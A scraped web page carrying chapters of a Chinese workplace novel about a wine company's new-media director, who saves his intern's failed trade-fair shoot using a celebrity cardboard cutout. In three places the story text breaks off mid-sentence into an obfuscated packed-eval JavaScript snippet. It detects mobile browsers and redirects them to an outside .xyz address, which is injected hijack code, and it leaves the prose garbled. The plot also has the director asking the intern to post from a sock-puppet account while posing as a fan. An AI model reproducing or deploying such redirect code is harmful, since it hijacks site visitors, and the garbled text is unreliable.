她嘴里嚎得震天响,手中还死死抓着杭帆的卫衣下摆不放,俨然是一副不达目的不罢休的架势。 此刻是早上八点,距离春糖大会展的正式开放尚有一个多小时的光景。在一旁凉凉抱起胳膊的岳大师,十分八婆地咂了咂嘴,大声指指点点道:“二位,这里人来人往的,搁这儿拉拉扯扯,影响不太好吧?” 小姑娘把嘴一撅,大眼睛眨巴眨巴,乖巧地望向杭帆:“他谁啊?” “年纪小小,话不中听。”岳一宛冷笑,“被Harris开了也是活该。” 飞快扭过头去,小姑娘一字一顿地认真对杭帆说道:“杭老师,这个除了脸好看之外全身上下都无可取之处的男人是谁啊?你的新同事吗?好难相处哦!” 杭帆一个头顶两个大,把面前这俩挨个儿赏了一记爆栗,姑且算作是各打五十大板。这才开口向自家小朋友介绍道:“这位是岳一宛,斯芸酒庄的首席酿酒师。” “这位是苏玛,我在总部带的实习生。”说完,他又低声叮嘱岳大师:“人小姑娘才二十二岁,你就不能让着她点儿吗?” 岳一宛笑容爽朗,半点要让步的意思也无:“哎唷,这是杭总监你带的实习生啊?那不早说呢,按辈分,她可是我的徒孙哪!” 论懂事,那还得是苏玛。拿眼睛在这两人之间来回一转,小姑娘立刻松开了杭总监的衣服,规规矩矩地站直了身子,向岳一宛微微鞠躬,道:“岳老师好。我是实习生苏玛,对不起,刚才是跟师祖您开玩笑的啦!您没生气吧?” “演得开心吗你俩?”杭帆真是受不了这些戏精,“苏玛,先说正事。” 眼下这事体说大不大,就算有篓子,那也不是苏玛本人捅出来的。 “Harris非得要这个镜头,说什么会让粉丝‘有陪伴感’,可昨晚搭建展台的时候我就不在场呀!” 实习生小姑娘急得摸出了企业微信的记录来做自证:“杭老师你看!前天才决定的,临时跟我说要来什么糖酒会!这哪里还能订得到车票啦?我好不容易才候补上昨天晚上的最后一班高铁!” “这次的线下会展全程都是市场部的人在跟。昨天上午开始,我给他们留言了好多条,求爷爷告奶奶,让他们帮我拍几段搭建展台的视频,因为Harris就一口咬定说非有这个镜头不可!”像是热锅上的蚂蚁那样,苏玛团团地围着她的杭老师打转:“可是市场部的几个老师,他们都以为肯定会有别人替我拍,结果到最后竟然谁也没拍!” “我这下真的要完蛋了啦!”小实习生抽抽搭搭地假哭起来:“Harris天天在说要‘精简人力’,动不动就威胁我们说要裁员……我的转正是不是没指望了呀杭老师?” 她这连珠炮似的一大通话,把岳一宛听得一愣一愣。 “什么粉丝,什么‘陪伴感’?”酿酒师一个字也没听懂,“罗彻斯特酒业还有粉丝呢?什么时候的事儿,我怎么不知道?” 食指敲打自己的手机壳,杭帆言简意赅地做出了解释:“是指代言人的粉丝。半年多以前了吧?Miranda为公司的起泡酒品牌签下的那位代言人。” 在Harris之前,罗彻斯特酒业的CEO是那位名叫Miranda的女士。在她的任内,公司不仅挖到了如杭帆等诸多得力干将,麾下的起泡酒品牌还成功签约了一位当红演员作为代言。 对于自家偶像的代言事业,热情的粉丝们自然付以全力的支持。去年双十一,这款起泡酒的销量冲上了全平台酒类销售额前三,可把公司上下诸人都给乐坏了。Miranda女士潇洒一挥手,在工作群连发了数十个大红包。 然而,水能载舟,亦能覆舟,粉丝经济这口饭哪是那么容易吃的? 眼见着距离双十一结束已经过去了四个月,物料短缺的媒体部门仍在频繁使用半年前的那两张海报。 “我也做过追星女孩,粉丝的心理我也不是不能理解。”苏玛连声叹气,手上还在比比划划的:“我家偶像代言的产品都好贵的咧,我买它们是图啥呀?不就是要为他争口气,也指望着品牌方能给他多拍点好看照片与新广告吗!” 可随着Miranda的莫名离任,公司内的数个重要岗位也接连换人,罗彻斯特酒业内部陷入了前所未有的兵荒马乱。新的拍摄计划虽然屡被提及,但预算与日程却都从未得到落实。众人翘首期盼了整个冬天,等来的却是起泡酒的春季限定礼盒,附赠一张早被粉丝盘出包浆的旧海报。 杭帆扶住额头:“……唉,我当时就预感到要被骂了。” “岂止是被骂!我们简直是被骂到死耶!”苏玛抓狂地在空气里一通乱挠,“杭老师你是不知道!就前两周,我们在微博和小红书的后台,天天都收到几万条辱骂!几万条诶,我的天啦!不是说什么‘催逼销量赶紧死妈’,就是说‘克扣代言人待遇的天选贱货’。每天坐在工位上,我都要深呼吸二十下才敢登进账号,真是好可怕!” 纵然嘴欠如岳一宛,在这些动辄就带着生殖器名词问候全家的脏话攻击面前,也只得表示自愧弗如:“工作环境这么恶劣的吗杭总监?他们骂你,你们就不能也骂回去?” “这可是公司的账号,”杭帆叹气,“被骂也得受着。” 苏玛嘤嘤点头:“但凡敢回一句嘴,分分钟就被粉丝截图骂上热搜!搞不好,公司还会反过来要我赔钱呢……” 若是追根究底,来不及为春季礼盒拍摄新物料这件事,乃是源于罗彻斯特酒业内部的项目管理混乱所致。 但Harris为人刚愎自用,哪里会觉得这是自己的小帮派做事不力之故?千错万错,一定肯定都是别人的错。 “他竟然还给我们开反省大会!整整三小时,总结起来就一句话:糊弄不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581322|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了粉丝,当然是怪你们这些做媒体的人无能!”苏玛看上去就像是随时都要断气:“然后他就突发奇想地决定,要用这次糖酒会来实现‘品牌与粉丝的和解’……” 和解个屁啦!苏玛的脸上分明就写着这五个大字。 “好的,我明白了。”杭帆说,“Harris跟你讲,要把展台搭建的部分也拍进去,是想要把罗彻斯特出展糖酒会的过程,做成那种像纪录片一样的视频,对吧?” “对对对!没错没错!”实习生小姑娘拼命点头,“他说要拍成纪录片的形式,‘就好像代言人与我们同在’,还让我多把镜头放在代言人的海报上,因为粉丝肯定爱看这个——傻逼领导!他懂个屁的追星咧!大家是想要看新海报新物料呀,谁想看你的破展板啦?但Harris觉得自己的主意可棒可天才可有人文关怀了,我的天哪我真是要晕倒啦!” “而且我根本就没有拍到展台搭建的视频素材……” 苏玛单手捧胸,一副西施咳血的柔弱样子:“这次都不用等到视频发出去再被粉丝骂了。我感觉自己只要一回到上海,就会被Harris给骂个狗血喷头……” 单手摸出手机,杭帆给市场部的同事们发起了消息。 “别管Harris,这主意烂毙了。”他冷静地给苏玛下指令,让她赶紧去筹措各种道具:“什么年份了,谁还吃他那套老掉牙的玩意儿?听我的,换个思路,换套方案,现在还来得及,我们还能最后再抢救一下。” 一边说,他一边卸下了自己的背包。 “喂?您好,我是新媒体运营那边的杭帆。是的,我也在大会展,已经到咱们的展位这边了。对,苏玛已经跟你们说过了是吗?是是,确实,大家都有难处,临时突发这么些事儿,处理起来就有点……我方便问一下吗,你们这次带了多少瓶起泡酒过来?能不能借我们几瓶用一用?对的,我们拍点素材。” 岳一宛饶有兴致地站在一边,看着杭帆快速地搜集讯息并给出指示。 ——在斯芸酒庄里,他从未见过真“杭总监”真正马力全开的样子:毕竟全酒庄上下就杭帆这一个媒体运营岗,而巧妇也实是难为无米之炊。能把同一段废话说出六种不同表达方式,再给光秃秃的葡萄园找出十种新奇拍照角度,小杭总监已经算是很厉害了。 但现在,杭帆熟练地调度着手头上的有限资源,老练得如同游龙回到熟悉的海域中。 不过十多分钟的时间里,他已经从无到有地做好了完整的计划,并向同事们请求到了必要的帮助,还清楚地向自己的实习生布置下了任务——思路之清晰,决判之果断,就好像他面前正摆着一张已标注出了全部事项的蓝图。 “来,岳大师,把你这个人也暂时借我用一用。”挂掉电话,杭帆向酿酒师伸出手:“放心,我知道这些起泡酒不是你酿的,决不会用你的脸去为它们承担销售责任。” “保证不会拍到你本人。” 杭总监露出了胸有成竹的微笑。 40.俗气但有用 “我的出场费可是很贵的。” 被推到了人形立牌后侧的岳大师,正佯作不满地发出哼哼声:“自带酒水进餐厅,再让侍酒师帮你打开它——你知道开瓶费要多少钱吗杭总监?” “我好歹也是斯芸的首席酿酒师,出场身价至少得是开瓶费后面加个零吧!” 杭帆举起运动相机,在立牌前来回踱了几步,大致确定下了拍摄用的角度和方位。 “好好,知道了。”现在的杭总监,敷衍起岳大师的胡话来,就像忙着打游戏的饲主用脚撸狗那样熟练:“等下请你喝网红奶茶,喝最贵的那款好吧?” “我就只值一杯奶茶钱吗?”从立牌后面探出脑袋,岳一宛勃然小怒:“至少也得两杯起步吧?!” 立牌上的男演员名叫谢咏,曾经也是偶像男团出身。在稀里糊涂地挥霍掉了诸人的少年岁月之后,该组合终于寿终正寝,各位前成员的扑街速度堪比坐上跳楼机——唯独这个离团单飞的谢咏,悄然以鲤鱼跃龙门之姿实现逆袭,成为了近年来最当红的青年男演员。 以杭帆的视角来看,妆后的谢咏长得确实不错:唇红若施朱,脸白似敷粉,穿一身低开到腰际的真空西装,标准的奶油小生造型。再加上一双脉脉含笑桃花眼,一对弯弯如月柳叶眉,就连立牌旁的空气里都多了几分浓郁深情的偶像剧风味。 而叉手在边上做审视状的岳大师却另有一番见解。 “这衣品,啧啧!真空西装?还钉着水钻亮片?这都谁教他的啊!只有赌场的脱衣舞男才这么穿。” 杭帆正弯腰从货箱里拿出两瓶起泡酒样品,在立牌身上比划着大小比例。 “造型师给挑的。”杭总监实事求是地回答道:“还是去年巴黎春夏秀场的压轴款嘞!” 与明星们合作,鲜少有人能留下完全愉快的记忆。在杭帆的印象里,谢咏本人性格不坏,但他身边的工作团队却属实难搞到天怒人怨。 尤其是拍摄用的这身衣服,挑三拣四了大半个月不说,最后还得请专人来将衣架推进摄影棚,重新在现场整烫一遍。熨烫完毕后,衣架周围的一整块地儿都为它而划做了禁止通行区域——既不能碰也不能摸,更不可以被压到或撞到。排场大得像是拍摄现场的第二个谢咏。 杭帆只不过是来拍点发社交媒体用的花絮,却差点在这人挤人的摄影棚里被热到中暑。 “这些明星可真是对大牌充满迷信。”岳大师连连摇头,“他就没觉得这身衣服的视觉效果太重,压得人非常显矮吗?” “……也还好吧?”杭总监发言谨慎,“嗯,但他本人确实没有立牌上这么高。他的团队特意叮嘱我们,就算是花絮也要尽量用仰拍角度,给他的腿拉得长一点。” 天生腿长的岳一宛立刻发出了猖狂大笑。 没一会儿,苏玛已经推着板车狂奔而归。 “杭老师!东西都找齐了!”虽然说起话来嗲声嗲气,但小姑娘做事也确实麻利:“一次性香槟杯,我买了一整箱!三瓶酒,市场部的人那边带我去仓库拿的,他们等下会带着今天的所有酒过来!打孔器和扎线绑带,从别家顺来的!还有那个那个,‘造型一定要好看的,重量还要轻,要成对的’,玻璃香槟杯!我也借到了!” 把袖口往胳膊上一推,苏玛三下五除二地就从板车上的箱子里翻出了打孔器与扎线绑带。 “我把工具放自己口袋里了,杭老师的要用时候喊我!”她仰起一双亮晶晶的眼睛,“那我现在就去架相机!” 杭帆把她叫回来,“不用。” 他指挥小姑娘和岳一宛都站回到人形立牌后面去,“等下岳老师会在你那一侧把酒瓶打开,你就负责拍他的手和酒瓶。能懂吧?就是拍一个开香槟的镜头,酒花喷出去的时候你就跟着拉镜头。” “哦哦好!没问题!”苏玛抄起家伙事儿就往立牌后面蹦:“但是杭老师,我们等下喷酒花的时候,呃……不会洒到立牌上吧?” 她这是已经被谢咏的粉丝骂出心理阴影了。 而她靠谱的杭老师只是简单嗯了一声,“我会立刻擦掉。”他说,“印刷面是防水的,绝对不会留下痕迹。” 显然是作案经验非常丰富的样子。 端着起泡酒瓶的岳一宛尤自感慨:“唉,辛苦酿酒十余年,一朝沦为做手替。我这可真是交友不慎哪!” 站到了人形立牌的正面,杭帆指示岳一宛把酒瓶从立牌后慢慢伸出来:“再把瓶身往下移动一点,往右,更右边!OK停,就是这个位置,暂且先保持不动可以吗?” “喔喔!我明白啦!”苏玛兴奋地大叫起来:“等下就是让岳老师藏在立牌后面,砰得一下弹出瓶塞对吧?从杭老师的那个机位拍过来,就像是立牌状态的纸片人谢咏,突然拿出了一瓶真香槟,在现实世界里哗啦一声打开了!” “是这样没错。” 杭帆的脑子里时时刻刻都翻涌着新出现的工作细节:“你记一下,苏玛,剪辑的时候要在开香槟镜头下面加注一行字:弹射瓶塞是危险行为,请勿模仿。等下开拍前我先去给这附近清个场。毕竟香槟瓶塞弹出去的时速是四十公里,这力道别说是误伤路人,杀个人都绰绰有余……” 有人惦记着拍摄操作与内容传播的安全性,有人则惦记着他的葡萄酒原教旨主义。 “这玩意儿怎么能叫‘香槟’?!”岳一宛大叫,“它只是区区一瓶起泡酒!虽然‘香槟’也是起泡酒的一种,但不是所有起泡酒都是‘香槟’啊!只有在法国北部的香槟法定产区,在那里出产的优质起泡酒,才能被称之为‘香槟’!” “诶,是这样吗?”苏玛震惊:“可罗彻斯特酒业在给这个品牌做宣传的时候,一直都宣称是‘百年香槟世家’耶?难道这是在说谎吗?我们不会违反广告法了吧!” 给外行人做解释的岳一宛,脸皱得像是枚睿智的核桃仁儿:“这个所谓的‘品牌’,在最开始的时候,是一家位于法国香槟地区的著名酒庄——没错,香槟原本是个地名,只有在香槟这个产区以传统方法酿造的起泡葡萄酒,才能被称之为‘香槟酒’。” 以其优质且昂贵的香槟酒而闻名遐迩的这家酒庄,历经数次集团间的互相并购,终于归于罗彻斯特酒业麾下,并在全球各地都建设了起了与品牌同名的新酒厂。 “‘百年香槟世家’,这倒也不能算是广告词诈骗吧……”岳一宛满脸的复杂神色:“毕竟,它在香槟产区的那个酒庄,确实仍然在持续生产着世界上品质最好的香槟。” “但我们手里的这瓶?虽然是品牌的名称相同,但它产自美国加州,而非法国的香槟法定产区,所以就只能叫它‘起泡酒’,而非是‘香槟’。” 苏玛小小声地哦了一句,“原来我们的这些广告,都是在搞概念擦边呀……” “不知者无罪。”暂时请离了展位前的无关人士,将设备调整就绪的杭总监淡淡总结:“岳老师也没有责备你的意思。他就只是觉得我们都是文盲而已。” “没错,不知者无罪。”岳大师顺势握上了瓶塞的铁丝扣,邪恶微笑曰:“但倘若是明知故犯……哼哼,哼哼,我就把你们这些小营销号的头都给拧掉!” 作为一个小小的实习生,苏玛真的很想大声为自己辩解:我们这行的,要是真能靠做营销号赚到钱,谁还会来罗彻斯特受这鸟气?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586769|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但在她开口之情,杭帆已经比出了“Action!”的手势。 下一秒,瓶口“啵”得一声清响,软木塞已然迸跳飞出。欢乐喧哗的淡金色泡沫,也如典礼上喷发的一柱礼花那样,争先恐后地自瓶口汹涌喷溅开来。 “呜哇——”小姑娘抓着相机雀跃大叫:“好完美的开瓶画面!!岳老师!!这技术也太厉害了吧!!” 持举着瓶身的手臂纹丝不动,岳一宛毫不谦虚地收下了徒孙的夸奖:“熟能生巧,应该的。”一边说,他还一边冲杭帆挑了挑眉:“怎么样,杭总监?素材拍到了吗?需要的话我还可以帮你再开一瓶,服务费收半价就行。” 迅速检查了一遍视频素材,杭帆比了个OK。 “拍到了,足够了。” 勤于持家的杭总监,甚至把备用的两瓶起泡酒都给一齐收了回去:“资源有限,还是替市场部他们省着点儿花吧。” 岳大师饮憾放下酒瓶:“刚才喷掉了半瓶,那这剩下的要放哪儿?待会儿是要直接倒给游客们试喝吗?” 即便不是自己酿的酒,岳一宛依然对它们抱持有几分怜惜之情:“如果暂时不喝的话,还是拿真空酒塞来给它塞回去比较好。苏玛你再去借个冰桶来吧,冰镇过后的起泡酒会更好喝一点。” 幸好,这次已经不再需要苏玛前去跑腿——在杭总监的提前联络下,罗彻斯特酒业市场部的同事们终于带着冰桶抵达展位。 “第一部分的素材已经拍完了,苏玛马上就会拿一个简单的粗剪版本出来。” 杭帆简单解释了一下他的意图,对其他几位同事说道:“发布到官方账号上之后,我们也会立刻给这条内容买推流。根据以往的经验,两到三小时之内,就会开始有零零散散的谢咏粉丝来这里打卡。” “我们这次在全平台的标签是:‘在成都!与谢咏碰杯’。如果有粉丝来打卡的话,麻烦你们也推荐他们在发布社媒时也都带上这个标签。” 杭总监思路流畅,交代起工作来半点也不打顿:“因为一些原因,起泡酒品牌这次要出展糖酒会的事,我们新媒体这边还没来得及去谢咏粉丝那里做预热。所以,按照我的预估,以粉丝群体为主的客流量要从明天开始才会渐渐增多。但我们今天就可以把互动小活动给做起来了,哪怕是做给路人看,那也是成功吸引到了大家的注意力嘛。” 同事们正忙着把起泡酒礼盒从纸箱里搬出来,在地上堆叠成一人多高的塔状,又忙不迭地在礼盒与人形立牌旁摆上白玫瑰假花作为装饰。 恶俗啊。岳大师在边上袖着手感叹。你们把这人打扮得像是个坐台卖酒的牛郎。 哎呀师祖你不懂!线下活动嘛,要的就是这份俗气! 苏玛正在一旁疯狂抓拍——素材这种东西,甭管有用没用,拍到了总比没拍要好。 小姑娘手里举着相机,嘴里还振振有词道:曲高而和寡呀岳老师!越是俗气,大家才越爱捧场呢!不信咱们等着瞧,以谢咏的人气,待会儿跑来和他立牌互动的人,队伍能排出好长好长哩! “我们好像没有设计过互动活动……”出展的负责人讪讪向杭帆解释:“杭总监你也知道的,Harris这个人,想一出是一出。这次起泡酒的春季限定礼盒,我们都以为是线上电商的限定款式,根本没想到要带来糖酒会上出展。就连谢咏的展板,都是我们前些天紧急下印才做好的。” 杭帆点头,“我知道,大家都不容易,你们最近也是真的很辛苦。” 说着,他掏出刚从苏玛那里拿来的打孔器与扎线绑带:“但是没关系,互动小活动我刚已经设计好了,咱们简单操作一下就行。” 41.稚拙而高贵的勇气 现场的谢咏立牌有两张。 一张侧身俯首,做邀请状,刚被杭帆借位拍了段“喷酒花”的视频。 另一张则手持酒杯,含笑盈盈,似是举杯共祝之意。 在立牌的酒杯与手部的位置比划了两下,杭帆举起打孔机,咔哒咔哒地在“谢咏”的手腕两边打上了一组小孔。 “杯子。”他对苏玛伸出手,“给我玻璃的那个。” 苏玛赶紧捧出那对借来的玻璃酒杯:“两个都要吗杭老师?哦哦只要一个……要哪个呀?杭老师您刚说一定要‘成对的’,但我借到的这个是不是也有点太成双成对了呀?您看这个花纹……” 裸穿西装的男艺人立牌,多少让岳大师觉得有些辣眼睛。但一说到酒杯,他可立刻就又来劲了。 “什么样式的,拿来我看看呢?” 趁着杭帆忙于调整往新打出来的小孔上穿扎带的当口,岳一宛接过了苏玛手里的纸盒。 这是一对极精致的香槟杯:纤丽细巧的长柄,托起郁金香花苞型的细长杯身。剔透晶莹的水晶杯壁上,匠人还錾凿出了缎带勾勒的心形图样。 噗嗤一声,岳一宛笑出来。 “你都是上哪儿借来的这玩意儿啊?”他说,“看这花俏图案也知道,这是婚礼上新人共饮香槟时用的杯子嘛。” 苏玛闻言,立刻紧张起来:“啊?是,是我借的杯子不对吗?我现在赶紧去换一个?” 岳一宛摆手,“香槟也是起泡酒的一种嘛,今天这种场合,差不多也能凑合。但到底能不能用,还是得问你杭老师。” 把两根捆扎绑带穿进了各自的位置,杭帆抬起头,拿过了苏玛递来的酒杯。 “挺好的,”他拈起杯柄看了看:“这两个杯子拼在一起,能出现一个完整的爱心图案是吗?那简直太合适了。” 杭总监拿过左侧的那只香槟杯,在立牌的手部比照了一下高低,旋即便熟练地将两条扎带绕过杯柄,一上一下地卡住了底座与杯肚,完美地将之其固定在了“谢咏”拿酒杯的那只手上。 “给他杯子里倒点酒,”杭帆对市场部的同事道,“哦,我是说谢咏手里的那个杯子。” 说完,他又指挥自家实习生走上前来:“来,苏玛,你先试试看,他手里拿个杯子的位置合不合适。” 暂时没能理解眼下这状况,岳大师谨慎发问:“你们的互动小活动,难道是指——要让粉丝排着队从他手里的杯子中喝酒……?” “恶!” 冷不防听见这人的发言,杭帆直接吓出一身鸡皮疙瘩:“你在说什么东西?!一个杯子被几千几万个人喝?那也太恶心了!” “这是一次性的香槟杯,对,它们的形状和‘谢咏’手里的那只不太一样,但这些一次性的是用来给客人试饮用的。” 距离游客入场还有半个多小时的时间,要在现场立刻就编纂出一套标准化流程手册,这显然是已经来不及了。 为图万无一失,杭帆只能尽量将每一个环节上的操作都交代得更加仔细些:“是,我知道这次事出突然,所以带来的样品有限。但应付今天的份量应该还是足够的。明天的份我来想办法。” “因为现在试饮样品的瓶数不够,所以每个客人的试饮都先少倒一点。如果客人问起来的话,就说是因为香槟杯盛到半指高度的时候拍照片会比较好看,也不容易泼洒出去。但如果客人试饮完之后还想要再续杯,请千万一定不要拒绝。” “然后这里还有一只香槟杯,这支是玻璃做的,与‘谢咏’手里的那支是一对。” 杭总监拿起酒杯,与立牌“谢咏”手中的杯子轻轻碰了一下。杯壁相撞,立刻发出一声美妙的“锵啷”脆响。 “如果有粉丝来打卡的话,可以把这只杯子借给他们用。出于食品卫生考虑,这支杯子只能用来和立牌进行‘碰杯’的拍照合影,千万不能饮用。” “说到底,这几天还是要麻烦各位,请尽量多地鼓励来试饮的客人带上‘成都!与谢咏碰杯’的标签去发社交媒体。”最后,杭帆还不忘要客气地向同事们致歉:“给你们添麻烦了,真是非常不好意思。等下我给大家点一些咖啡和下午茶吧。” 市场部的参展负责人连连摆手,“哪里哪里,这也算不得什么麻烦。杭总监倾力帮我们度过难关,该是我们感谢杭总监才是嘛!” 杭帆笑一笑,心知这也不过是句场面上的客套话。 罗彻斯特酒业出展成都春糖,本意就只是给品牌做些地面推广,随便搏几声叫好喝彩而已:毕竟是定位奢侈品的酒款嘛,在这种大菜场式的场合里,他们也不指望能卖得动货。往年的几届糖酒会,新媒体部门甚至都从未参与过,足见其不受重视的程度。 而眼下,杭帆忙前忙后,又是要引导粉丝来和谢咏的立牌合照打卡,又是要让客人多多地过来开瓶试饮,实在是给市场部的这次参展弄出了好一大堆的新工作来——到了最后,所有的这些辛苦与劳动,大多都变作了新媒体部门的工作业绩。 将心比心,就算是换杭帆来做市场部的人,他肚里也必然是有一千个不情愿的。 “反正我最近也不在总部,”他笑道,“市场部的周报上也不用带我的名字。方便的话,还请各位多关照关照我们的小朋友了。” 大人们在那边对完了工作流程,这边的苏玛也已经飞快地整理好了视频素材,粗剪了一版“谢咏”立牌给起泡酒开瓶的小视频。 岳一宛正在给他的酿酒师朋友们发消息,听见小姑娘鬼鬼祟祟地与她的杭老师说起小话来,心中好奇,不自觉地就在边上听了一耳朵。 “您看这样可以吗?OK的话我直接发出去了哦!” 苏玛举起平板电脑,一边给杭帆看她的剪辑成果,一边偷偷摸摸地压低声音道:“杭老师,你刚才那句话是什么意思呀?是说这次糖酒会,就算做出话题,功劳也都算他们市场部的吗?” 杭帆点头,示意苏玛把视频发上罗彻斯特酒业的官方账号。 “是啊,不然还能怎样?”他轻声对自己家的小朋友说道:“我都调离总部了,虽然名义上还是个所谓的‘总监’,但实际上呢,情况你也是知道的。” “再说这次糖酒会,新媒体部门只来了你一个实习生——不给人家市场部一点好处,人家凭什么要来帮我们整这么些麻烦事儿?” 到底是杭帆亲手带出来的人,小姑娘一边点头称是,一边迅速地码好了发布视频的文案。 “可我就是觉得不公平。”苏玛鼓起了腮帮子,“杭老师去年的业绩那么漂亮,竟然还被发配去了山里……而且,要是这次市场部的人及时帮了我的忙,杭老师也就不用兜那么大一个圈子,试图用好看的数据来为我弥补失误了!” 确认谢咏的“立牌开酒”视频与罗彻斯特参展糖酒会的宣传用文案都已经发出,杭总监拿起了成对香槟杯中的另一只,塞进了苏玛手里。 “我给你拍一支和谢咏干杯的合影小视频,你努力扮演一下谢咏的追星女孩儿。”他吩咐道,“拍完之后你自己的小号上,就假装你是个正巧路过的谢咏粉丝。这个的文案就不用我来指导了吧?” 苏玛一听,差点就要惊声尖叫。 “我?谢咏的粉丝?不不不不不!”小姑娘全身上下的每一个细胞都高喊着抗拒:“杭老师,我是他对家的粉呀!让我去跟他的立牌合影?这是要被我家爱豆的后援会给开除粉籍的好吧啦?!” 事关工作,杭帆的慈悲心较为有限。 “哦?是吗。”他语气和蔼,完全是一副有商有量的态度:“苏玛,我记得你手里应该握至少二十几个小号,对吧?” 每个社交平台上,只要是官号发布的抽奖活动,苏玛的小号们都会积极活跃在薅公司羊毛的最前线。 “你总能掏出一个可以用的号吧?”杭总监循循善诱,“如果扮演谢咏粉丝这件事实在是有违你的良心——那假装成一个对谢咏略有好感的路人呢?这会让你的良心感到好受点吗?” 炸毛猫崽似的,小姑娘对着空气就是一通乱挠。她的语气无比沉痛,仿佛正要亲手出卖自己的偶像:“可以是可以啦……其实我倒也不是讨厌谢咏,就是,唉,就是人真的要为了工作而出卖灵魂到这个地步吗?唉……!” “工作这种事情,谁来干,都得出卖一部分灵魂。”岳一宛突然插嘴道,“你看你杭老师,为了工作,在许东这种人面前都还想着与虎谋皮之事呢!” 眼睛眨了又眨,苏玛的视线在这两个老练打工人之间来来回回地打着转。 “许东是谁?”她乖巧发问,“岳老师,你都做斯芸的首席酿酒师了,也会感觉上班是在出卖自己的灵魂吗?” 一言既出,换来一片如死的沉默。 “许东,是一个葡萄酒内容的自媒体博主,但这不重要。” 眼角余光撇过,杭帆看见岳一宛满脸都是不慎咬到了酸葡萄的表情,再回想到此人对于酒标和葡萄品种等等事物的怨念,唇边不自觉地滑过一抹忍俊难禁的笑意。 但首先,他要制止自己的实习生再说出任何一句扎心之言。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594011|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“游客快要入场了,苏玛,赶紧先做正经事!” 原地忸怩哼唧了三分钟,苏玛还是站到了“谢咏”身边。眼见着杭总监的手机镜头对准了这里,小姑娘突然灵光附体,一手挽上了“谢咏”的胳膊,一手举起酒杯,亲亲热热又大大方方地与“对家正主”干了个杯。 唯恐天下不乱,岳一宛给出了他的热烈掌声:“好敬业啊小朋友,这谁看了还能不信你是谢咏的粉丝?我可以作证,你完全就是自愿的!” 镜头一关,苏玛立刻蹲在地上做痛苦状:“啊啊啊!我的清白!我的粉籍!这下是彻底都没有了呀!” “好了,剪完了。美颜滤镜的参数你自己再设置一下。” 眼都不带眨的,杭帆把完工的视频发到了实习生的企业微信上:“用你的小号发,千万带好标签。发完之后记得给自己买个推流,小号的推流费用我给你报销。还有一次性香槟杯之类的,开销票据都保存好,回去到财务那儿一起报。” 小姑娘赶忙摇头,“诶不用不用!”她说,“本来今天就是我自己搞砸了工作……杭老师是来替我兜底的呀,怎么还能让杭老师出钱!等下还是我来请他们喝咖啡吃点心吧,杭老师放心,这点钱我还是有的!” 虽然思路有点跳脱,为人处世也不算十分的成熟,岳一宛心想,但这小姑娘的心性确实不错。应该说……不愧是杭帆亲自挑中的实习生吗? “呃,”杭帆不敢苟同:“你那点实习工资……就还是不要逞强了吧?” 他自己也是从二十岁出头的年月里过来的。刚毕业的时候,手上开始略微有了一点小钱,正是在花花世界里看见什么就都想拥有,却几乎又什么都买不起的岁数。 在上海的物价里,年轻人但凡在市中心里多吃两口饭,下半个月就得勒紧裤腰带过生活。 拿着四千块实习薪水的苏玛无力反驳,“可是,我小号上,有两张流量券……所以这次推流可以不花钱的……” “那推流的钱我就不给你了。”杭总监从容地让了一步,“但请大家咖啡和下午茶的钱就还是由我来吧。承你叫我一声‘杭老师’,却没带完你的实习期,我心里还是有愧的。” 人家师徒二人说话,岳一宛知趣地没有出声。 但这不妨碍他自顾自地在心里想:在职场里讨生活,别人信奉的都是“有便宜不占王八蛋”。唯独杭总监,在让别人配合自己工作的时候,也不忘要思索——“我能给对方什么?” 行过疮痍与失望的重重死径,他却仍愿意在大雨中为旁人撑伞。 这是何其稚拙,却又何其高贵的勇气。 “这个不能怪杭老师吧!”小姑娘赶忙摇头,“那都是Harris——!” “唉,但现在说这个也没用了。”苏玛沮丧地低下了脑袋,“对不起,杭老师。不仅要麻烦您来帮我兜底,还让您破费,甚至连功劳都要让给别人……” 哭笑不得地,杭帆抱臂叹息:“真要论起来,这件事从最开始就错不在你啊。”他说,“这次糖酒会,明明是Harris钦点的‘要与谢咏粉丝和解’,结果最后却只派了你一个实习生来现场。我寻思咱们部门也没有人手短缺到这个程度吧?” “谁都不想做背锅侠,我能理解。”杭总监说,“但欺负一个还是实习生的小孩子,在我看来还是太过分了点。” “没有人是从出生落地的最开始就会做事的。大多数时候你需要自学,但偶尔,你也会需要别人的点拨和指导。这是很正常的事情,并不能算是我在为你兜底。” 他的语气很温和,就好像在说一件再普通不过的事。 